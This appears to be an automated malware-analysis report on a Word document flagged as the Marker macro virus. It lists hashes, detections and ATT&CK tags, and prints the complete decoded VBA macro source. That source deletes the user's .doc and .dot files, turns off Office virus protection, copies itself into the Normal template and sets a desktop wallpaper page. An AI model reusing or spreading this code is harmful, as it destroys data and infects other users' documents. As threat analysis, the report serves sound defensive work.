Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4866bf7db0d708d5…

MALICIOUS

Office (OLE)

223.0 KB Created: 2007-07-25 15:09:00 Authoring application: Microsoft Word 11.3.5 First seen: 2014-12-09
MD5: 6132b5c113ce05d486dfb0fe13875451 SHA-1: 7e336f662aab6121cd67ad29f31ab12422137d19 SHA-256: 4866bf7db0d708d57ddb77260f9da1e6e75311b609c6b00a511c273a9e430a3f
210 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The document contains a form requesting personal details, suggesting a phishing attempt to harvest user information. The embedded VBA macro, specifically the `Document_Open` subroutine, attempts to disable virus protection and replicate itself by writing VBA project code. It also attempts to modify application settings and potentially log data, indicating malicious intent beyond simple phishing. The macro's self-replication and AV tampering heuristics are critical findings.

Heuristics 5

  • ClamAV: Doc.Trojan.Marker-13 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-13
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Kill Options.DefaultFilePath(8) & "\*.dot"
    Options.VirusProtection = False
    Application.UserName = "JonMMx 2000"
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Const Marker = "<- this is a marker! by jonhehehe TheBest-versi212x"
    Private Sub Document_Open()
    Document_Close
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.apple.com/DTDs/PropertyList-1.0.dtd In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7006 bytes
SHA-256: ceda57cf3284739d1fe2aa99191c467a7ebbdf7f068338cbab9039dc67b548c7
Detection
ClamAV: Doc.Trojan.Marker-13
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Seline, Where are you dear
Const Marker = "<- this is a marker! by jonhehehe TheBest-versi212x"
Private Sub Document_Open()
Document_Close
End Sub
Private Sub Document_Close()
Dim nmod As Object
Dim isd As String
Dim DS, NTS, DI, NTI As Boolean
Dim Jon, Users, LogData, LogFile As String
On Error Resume Next
AddIns.Unload True
Kill Options.DefaultFilePath(8) & "\*.doc"
Kill Options.DefaultFilePath(8) & "\*.dot"
Options.VirusProtection = False
Application.UserName = "JonMMx 2000"
Application.UserInitials = "MeMeX"
Application.UserAddress = "JonMMx2000@yahoo.com"
Application.EnableCancelKey = wdCancelDisabled
GoSub InsertIon
If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", _
   "LogData in") = False) Then GoSub LoggingIn
If WeekDay(Now()) = 1 Then GoSub ShowMe
GoTo Finish
InsertIon:
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
DI = AD.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NTI = NT.CodeModule.Find(Marker, 1, 1, 10000, 10000)
If (DI Xor NTI) And (ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate) Then
 If DI Then
   NTS = NormalTemplate.Saved
   Jon = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)
   For i = 1 To Len(Application.UserAddress)
    If (Mid(Application.UserAddress, i, 1) <> Chr(13)) Then
       If (Mid(Application.UserAddress, i, 1) <> Chr(10)) Then
          Users = Users & Mid(Application.UserAddress, i, 1)
       End If
    Else
       Users = Users & Chr(13) & " '"
    End If
   Next
   Jon = Jon & Chr(13) & _
         "' " & Format(Time, "hh:mm:sc AMPM-") & _
                Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
         "' " & Application.UserName & Chr(13) & _
         "' " & Users & Chr(13) & Chr(13) & " "
   NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
   NT.CodeModule.AddFromString Jon
   If NTS Then NormalTemplate.Save
 End If
 If NTI Then
    DS = ActiveDocument.Saved
    Jon = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)
    AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
    AD.CodeModule.AddFromString Jon
    If DS Then ActiveDocument.Save
 End If
End If
Return
LoggingIn:
   System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogData in") = True
   GoSub ShowMe
Return
ShowMe:
Dim RootsyS As String
On Error Resume Next
 RootsyS = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot")
 Open RootsyS & "\Jon.html" For Output As #1
 Print #1, "<Html><head><title>Welcome to Destroyer of the last Manillenium JontheBEST</title></head><Body><body bgcolor = '#FFF212' >"
 Print #1, "<center><p align='center'><font color='#800000'size='25'><strong>a Poet For My Dear Love</strong></font></p>"
 Print #1, "<p align='center'><font color='#000000' size='6'><strong><a href='mailto:iamwaiting@yahoo.com'>Dear Iin</a></strong></font> </p>"
 Print #1, "<font normal></center>To the very best that happen in mylife<p>"
 Print #1, "<p>Long ago and in my mind, I can see your face lonely and lost in time "
 Print #1, "<p>You were gone since yester month But the memories, never would dissapear"
 Print #1, "<p>I think of you, I THINK OF YOU.<p>"
 Print #1, "<p>Yes it's true I can pretend. But the paint of blue, keep beat me till the end."
 Print #1, "<p>Yes it's hard to understand. Why you leaving me and all we dreaming on "
 Print #1, "<p>Dear Iin, I close my eyes and see your face.  That's all I have to do to be with you. "
 Print #1, "<p>Dear Iin, altough I can not touch your face.  I know what I can do to be with you "
 Print #1, "<p>Long ago so faraway. But the light of blue, still living with me today."
 Print #1, "<p>You were gone since yester month.  But the memories never would dissapear."
 Print #1, "<center><font color='#245505' size='6'><strong><p>Speed Hari</strong></font></center></Body></html>"
 Close #1
 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\General", "Wallpaper") = RootsyS & "\Jon.html"
Return
Finish:
End Sub
'Logfile -->

' 06:14:2518:14:25 -Kamis, 22 Jul 1999
' JonMMx 2000
' jonthebest@hotbot.com


' 09:07:259:07:25 -Sabtu, 24 Jun 2017
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:13:3712:13:37 AM AM-Saturday, 14 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:55:459:55:45 AM AM-Wednesday, 25 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 04:05:474:05:47 AM AM-Thursday, 26 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 04:17:594:17:59 PM PM-Thursday, 26 Aug 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 07:22:327:22:32 -Senin, 30 Agust 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 06:04:206:04:20 -Selasa, 31 Agust 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:44:3020:44:30 -Minggu, 19 Sep 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:44:179:44:17 PM PM-Wednesday, 1 Jan 1997
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:22:1810:22:18 AM AM-Thursday, 11 Nov 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 06:03:356:03:35 PM PM-Monday, 15 Nov 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:18:171:18:17 PM PM-Wednesday, 17 Nov 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:09:399:09:39 AM AM-Thursday, 2 Dec 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 05:00:255:00:25 PM PM-Monday, 20 Dec 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:31:4021:31:40 -Selasa, 11 Jan 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 10:43:010:43:00 AM AM-Wednesday, 3 Nov 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 01:15:151:15:15 AM AM-Thursday, 4 Nov 1999
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:02:62:02:06 AM AM-Monday, 1 Jan 1996
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:58:2912:58:29 AM AM-Monday, 1 Jan 1996
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 12:17:1012:17:10 AM AM-Monday, 1 Jan 1996
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:30:5911:30:59 PM PM-Tuesday, 6 Jun 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 02:03:422:03:42 PM PM-Wednesday, 21 Jun 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:13:563:13:56 PM PM-Tuesday, 8 Aug 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:42:2111:42:21 -Selasa, 6 Jun 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 11:51:4611:51:46 PM PM-Tuesday, 24 Oct 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 09:31:499:31:49 PM PM-Friday, 27 Oct 2000
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 08:24:448:24:44  am-dimanche, 4 fév 2001
' JonMMx 2000
' JonMMx2000@yahoo.com

 
' 04:13:594:13:59 pm pm-Monday, 24 Jul 2006
' JonMMx 2000
' JonMMx2000@yahoo.com

 


' 03:52:3315:52:33 -Thursday, 19 Apr 2007
' JonMMx 2000
' Graphic Response Limited
 'JonMMx2000@yahoo.com